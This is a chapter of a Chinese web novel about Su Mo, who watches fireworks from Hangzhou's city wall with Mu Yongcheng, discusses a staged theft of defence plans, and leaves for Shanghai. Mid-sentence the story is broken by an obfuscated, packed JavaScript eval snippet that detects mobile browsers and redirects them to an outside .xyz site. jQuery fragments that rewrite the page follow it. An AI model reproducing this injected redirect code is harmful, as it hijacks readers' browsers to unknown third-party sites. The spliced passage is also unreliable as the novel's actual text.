见苏末的眉头又开始收紧，穆永成加快语调道：“不会让你为难的，我只是想与你跳一支舞。”


    说着他手上起了势，当着苏末的面走起了舞步，“后来我找了老师教我，就想着有朝一日能与你一起跳。”


    苏末看着他没有说话，穆永成便停止了晃动，笑容有些勉强，“看我这脑子，你身体还没恢复好呢，以后再说，以后再说，以后再说吧……”


    重逢三遍，声音越来越小，直到最后几不可闻，苏末并不搭话，又看眼床上的席广星，才低声道：“不要在这打扰她了。”


    到了堂厅坐下，穆永成见她不说，主动开口询问道：“我安排人送她走，还是你安排人来接？”


    “先让她在这养伤吧，后面我安排人接她走。”


    “成，不要急，受伤这么重不好好修养怕是要伤了根底，在我这你放心，肯定安全无恙。”


    “谢谢。”


    然后就冷场了，穆永成看她慢悠悠喝着茶，突然开口道：“晚上陪我去个地方行不行？”


    “放心，是室外，你已经拒绝我一次了，总不能让我一直失望吧？”


    苏末抬眸瞥他一眼，“你的人开车，你要拉我去哪我都只能跟着。”


    “总要提前征求你的意见嘛。”穆永成笑呵呵道。


    苏末扯出一个冷笑，“我从来没想过，你会变得这么虚伪。”


    穆永成叹道：“我也没想过你会变得如此冷酷无情。”


    “所以何必呢，就停留在美好的记忆里不好吗？”


    “记忆太美好，应该延续下去不是吗？”


    话不投机半句多，苏末懒得再跟他多说，干脆起身去外面的园子里走走，穆永成想到晚上的安排，也不想把人惹急了，只吩咐下人跟着伺候，自己悠然地哼着小曲喝茶。


    傍晚吃过晚饭席广星才醒过来，看着苏末，勉强勾了勾嘴唇，“谢谢。”


    苏末握住她的手，“安心在这养伤，伤好了再做打算。”


    “麻烦你了。”


    “朋友一场，何必说这样的话。”


    席广星问道：“是不是很意外？我也没想到过自己会有这一天，在法国认识了一些朋友……也还是有些姐姐的影响在吧。”


    “那时候痛恨她的决定，还记得在她墓碑前我们第一次见面时我说的话吗？”


    苏末点点头：“你说社会弊病非个人能改变，我们都是平凡的人，只能顾好自己。”


    “是啊，所以后来你要回国，我特别生气，总怕哪天就听到你的噩耗传来，就像姐姐那样。”


    “我早就失了这样的心气，回国也只是挣点钱、做些力所能及的事情罢了，比不得你和你姐姐。”


    “都是各出一份力，没有谁更好。”


    “伤好后什么打算？以后还回法国吗？”


    “这条路走上来了，哪能停下，只能一直走下去了……”席广星说着停顿了一下，找补道：“每个人有每个人的选择，我这个人比较犟，认准一条路就要走到底，也不好说是不是好事。”


    苏末有了几分怅然，当年志同道合的朋友们，一起抗争腐朽、试图在黑暗社会找到一条新的道路的伙伴们，有的早已踏上了相反的道路，有的归于平凡生活，但更多的一直坚持直到倒下，但倒下后仍然为这条路吸引来了更多新的追寻者。


    “找到了能让自己坚守下去的理想，怎么不是好事。好了，这些是以后的事了，现在你最重要的任务是养好身体，我不打扰你了，有什么需要就跟照顾你的人说，他们会通知我的。”苏末笑着叮嘱。


    “嗯。”席广星点点头。


    穆永成察觉出苏末有些沉重的心情，宽慰道：“医生都说没事，慢慢养，总会好的。”


    “要去哪？现在就过去吧。”苏末没有跟他谈心的想法，只想快点完成任务。


    穆永成抬头看看天，已经黑了，“成啊，我也期待很久了。”


    苏末猜出他的意图，心下觉得这人有些幼稚，但看烟花比跳舞好，她不再多说。


    但让苏末意外的是，看烟花的地方居然在城楼上。当绚丽的烟火绽放在黑夜中，穆永成看她神情平淡并不惊讶，笑道：“你了解我，就像我了解你一样。”


    苏末没有说话，静静欣赏，杭城还在戒严中，烟火绽开的光亮映得下方更加安静，又扫视周围一眼，看到侍从卫兵们都离得很远，她才低声开口道：“看来布防图失窃也是假的，穆永成，你闹这么大一出，就是想上演烽火戏诸侯的戏码吗？挺没意思的。”


    “一举多得嘛，既教育了女儿，又搏美人一笑，关键是给你们出气，你知道调查站这次死了多少人吗？柯孟达快要疯了，他要是打点不好金陵那边，怕是也没有好下场了，杭城这边的点算是大清洗了一遍，这份礼物还算不错吧？”


    “收拾干净尾巴，小心阴沟里翻船。”


    “关心我的话干嘛说得这样冷冰冰，小杭，放心吧，在这杭城，我绝不可能翻船。”穆永成的视线扫过下方这座臣服在他武力之下的城池，再抬头看看空中的烟花，“不要说这些无趣的事了，小杭，你应该想起来了吧，很多年前，我们也一起上过城楼看过烟火，那时候是云萍姐带我们上来的，她说这里视野最好，最方便许愿。”


    苏末自然没有忘记，那是她第一次知道还能对着烟花许愿，云萍带了一伙子人上来，兴高采烈道：“烟花放到空中，绽开声音很大，对着它们许愿，我们的愿望就能传递到神仙耳中，就更容易实现啦！”


    一群人没几个信这世上有神仙，可在云萍热情洋溢的情绪感染下还是默默许了愿，早些年苏末看到烟花都会不自觉想起这件事，联想自己会觉得烟花易散心愿难成才是真理，可想到云萍……


    “云萍姐当时许愿要做大买卖，如今她在南洋生意做得很好，可见这愿望只能跟自己有关，不能牵扯到别人。”


    穆永成一愣，这话不能说没有道理…..可是很快他又把杂念甩开，问苏末道：“当初我说我不信这个，我没有许愿，其实我许了，只是愿望太大，要是说出来一定会被笑话，没好意思说，你知道我许了什么愿望吗？”


    “要做这杭城的主人？恭喜你，愿望成真，这座城如今匍匐在你的脚下，任由你揉搓了。”苏末嘴上说着恭喜，可是语气却十分平淡。


    穆永成不由得气结，这不是他预想的场景！预想中应该是他意气风发地与苏末追忆往事、互诉衷肠才对！


    苏末太敏锐，也太无情了，穆永成叹口气不再说话，想到当年凌苏杭许的愿望——宁钰身体健康、永悦觅得如意郎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814110|155780||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    君，竟然一条都没有实现；自己的另外一半愿望——与凌苏杭幸福相伴一辈子，也产生了偏差。


    或许愿望真的只能涉及自己吧，穆永成看着空中依然绚丽的烟花有了些怅然的情绪，但看着火光下面容恬静的苏末，他又不十分不甘心，凭什么要他改变从小认定的事情？他与她，就是天注定的一对！


    第二天杭城解禁，金胜昔终于得以进城与苏末见面，先说了城外的事：“突然冒出来一群人把我们团团围住，他们火力配置很强，我们没敢强行行动，好在不是坏结局。”


    “吓着了吧？没有冲动是正确的决定，有时候牺牲是没有办法的选择，但决不能做无谓的牺牲。”


    “倒不是吓着了，就是第一次单独负责，很怕搞砸对不起您。”


    “这次你做得很好，胜昔，这次要是没有你在我身边，我还真不知道要怎么展开行动，谢谢你。”


    “当年您救了我后送我去小姨家，告诉我好好学习日后才可能帮到您，我一直谨记您的话，抓住一切学习的机会。苏老师，我不是当年那个因为招不来儿子被后妈卖掉的招弟了，如今我很有用，我也不惧任何危险，日后还有这样的任务，我也愿意去参与！”


    苏末看着眼前斗志昂扬的年轻人，当年她希望自己帮她改名，思索后苏末选了胜昔二字，金胜昔，今胜昔，苏末由衷祝福她日后的每一天都比过去更好，可偏最后她坚持回到了自己身边，日后的生活或许不会平静了，苏末不由得心下叹气，“这样的事还是少来吧，日常你帮我打理好公司的事就足够了。”


    金胜昔点点头，“有我在，您放心！对了，上海那边大家都在找您。”


    苏末来杭城是临时起意，本来只想来看看方如意和寻理就回去，没有通知其他人，哪知道来了后经历这么大的变故，耽误了这么久。


    “你等会去买票，我们回一趟上海。”


    金胜昔想到秦园一如既往的戒备森严，担忧道：“他能让您离开吗？这次召集的人我留了一部分没有解散，想让他们留在杭城，日后万一需要帮手……”


    苏末当即反对道：“调查站出了这么大变故，金陵那边肯定会派人来详细调查，不要节外生枝！”


    “那让他们去上海怎样？”


    苏末想了想，点头道：“也行，你安排好他们的住身份。”


    “嗯，再投资个货行商行之类的，这么点人很好安置。”


    苏末见她脸上担忧更甚，笑着道：“放心吧，他还不至于禁锢我的人生自由。”


    金胜昔只能先去买票，她一行动穆永成就得到了消息，虽然不想苏末走，可想到寻理还没离开、思想正在动摇，关键他如今手里还捏着席广星——拖一拖，她怎么也得在庄子上养伤两个月，他就不信苏末能一去不回！


    于是只笑着对苏末道：“忙完早点回来，到时候还是来秦园住吧，不怕被人打扰。”


    苏末一回到上海，到家没多久云可成就上门来了，“老天爷，你跑哪去了！到处打听都找不到你！”


    “方维德来了，跑去跟文智哥打了一架，好家伙，这些年没少偷偷努力，当初他被文智哥按着打，这次换他按着文智哥打了，给文智哥打得可惨了，啧啧啧，文智哥也是要强，说是私事不让保卫插手，丢脸丢大了。”